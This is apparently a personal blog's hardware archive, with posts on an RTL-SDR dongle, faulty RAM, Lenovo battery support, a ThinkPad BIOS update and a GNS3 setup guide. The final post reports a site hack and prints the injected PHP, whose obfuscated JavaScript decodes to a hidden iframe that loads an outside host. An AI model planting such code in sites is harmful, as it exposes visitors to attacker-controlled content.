Category Archives: Hardware

RF fun with a SDR

So this post will be the first of a series on fun “hacking” hardware that I own.

I just received my RTL-SDR to play with radio frequencies.

This one is based on a RTL2832U chipset and a R820T tuner. My choice was in part influenced by this review. Note that this kind of device isa receiver, so it will not be able to transmit anything.

Keedox RTL-SDR (RTL2832U with R820T tuner)

Keedox RTL-SDR (RTL2832U with R820T tuner)

This model has the advantage of being really small, but maybe at the costing of heating. I noticed the USB connector becomes painfully hot during long sessions. Nothing serious, but a negative point though.

Of course, it is fully compatible with Linux and Gqrx even maintain a package for Ubuntu, so getting it to work consists simply in one apt-get command.

Gqrx

Gqrx

I already intercepted a few conversations on the AM 430Hz range, and a lot of weird signals (many are probably car or parking doors) all over that I recorded and will look at later.

Well, it is fun! Thanks to @virtualabs for bringing it up to my interest.

 

Downtimes: a hardware problem

You may have noticed that the site had a lot of downtimes recently.

I was having a daily kernel panic and weired file system corruptions, which I first tought were coming from the successive crashes and reboots.

However, while it happened again and again and I could not find any good reason for that, I became more doubtful about my hardware and finally found the culprit.
I booted on Memtest, installed with zypper from the repo, which immediately displayed a lot of errors. The tedious task of isolating the faulty memory module revealed that it was one from a Ballistix bundle that I bought just 3 months ago.

I usually use Kingston or Corsair and never had such a problem, but maybe I was just lucky. I will test now the customer service of Ballistix.

Tested the Lenovo support…

… and was quite impressed.

Wednesday evening, I called the support to report that I was not satified with my battery. I had lost 25% of its capacity over less than 8 months.

Thursday morning, I am recalled by someone from the technical service. They first say that the battery is no more under warranty – 1 year long. I guess they say so after checking when the battery was made or sold the retailer. That does not concern the end-consumer like me : the warranty only started when I purchased the laptop, and I still have 4 months of warranty ahead.

As they asked, I send them by fax the bill which proves that, thursday afternoon. Soon after, they recall me again, just to tell me that a new battery is going to be sent to me.

Friday morning, it arrived ! So far, so good !

Next time, I may test it again concerning this issue (not so terrible in fact, and I am reluctant to send back my laptop).

Note to myself

When you want to do such a thing as upgrading the BIOS of your Thinkpad, read the instructions that come with the bootable CD flash utility.

If you think you did, read it again –  and do not interpret them.

It would avoid loosing time with a boot error like :

CDR101: not ready reading drive C

That occurs when you choose the CD player as a temporary boot device (Thinkvantage button and then F3), although it is required to really change the boot order within the BIOS menu (F2) and save this setting.

By the way, I really recommend a BIOS update if you are a happy Thinkpad T61 user : not only it fixes numerous issues with the Intel chipset, but it optimizes power management. I noticed that the fan management has been improved. It is most of time slower than before, so the laptop is more silent.

Practicing Cisco networking with GNS3 and Dynamips

GNS3 and Dynamips put together give a nice open-source and free alternative to emulate a network with IOS routers. Dynampis is an emulator of Cisco 7200 router, while GNS3 provides a nice graphical environment to design your network and use the virtual routers.

I sometimes use Boson Netsim, which is not only non-free but not so reliable.

However, as I just started to use GNS3 and Dynamips, I don’t know it so well yet and won’t compare any further the two solutions.

On this page, I am just summarizing the few steps to set it up on your Linux system.

First, set up the prerequisite :

$ aptitude install python-qt4

Now, go to gns3.net and download the source code for Linux (direct link).

You may extract the archive in your local application folder :

$ wget http://pfe.epitech.net/frs/download.php/819/GNS3-0.5-src.tar.gz
$ tar -xzvf GNS3-0.5-src.tar.gz -C /opt

Then, you need the dynamips binary from the dynamips blog (direct links for x86 or amd64 platforms).
The file must be executable.

$ wget http://www.ipflow.utc.fr/dynamips/dynamips-0.2.8-RC2-amd64.bin
$ chmod u+x dynamips*.bin
$ mv dynamips-0.2.8-RC2-amd64.bin /opt

Now, start GNS3 :

$ /opt/GNS3-0.5-src/gns3

In the edit menu, select preferences and go the dynamips section.

Just browse to the dynamips binary you dowloaded, to fill the value of the executable path field.

Still from the edit menu, select IOS images and hypervisors. There, you have to add all the IOS images you want to use, one after another. Normally, the default settings for each file loaded are suitable.

Back to the main window, you can drag and drop routers and link them, creating the topology you wish.

For now, just add one router. Right click on it and select start to start it up. Right click again and select console.

Enjoy ! Of course, I strongly recommand that you start reading further from this page.

Resources :

http://www.ipflow.utc.fr/blog/
http://www.gns3.net/
http://www.blindhog.net/tutorials/gns3-linux-install/gns3-linux-install.html

Hacked !

This blog got hacked yesterday.

It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.
It was not just like the classic SQL injection that is usually used to post some malicious post.

The following code was added :

<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>

Continue reading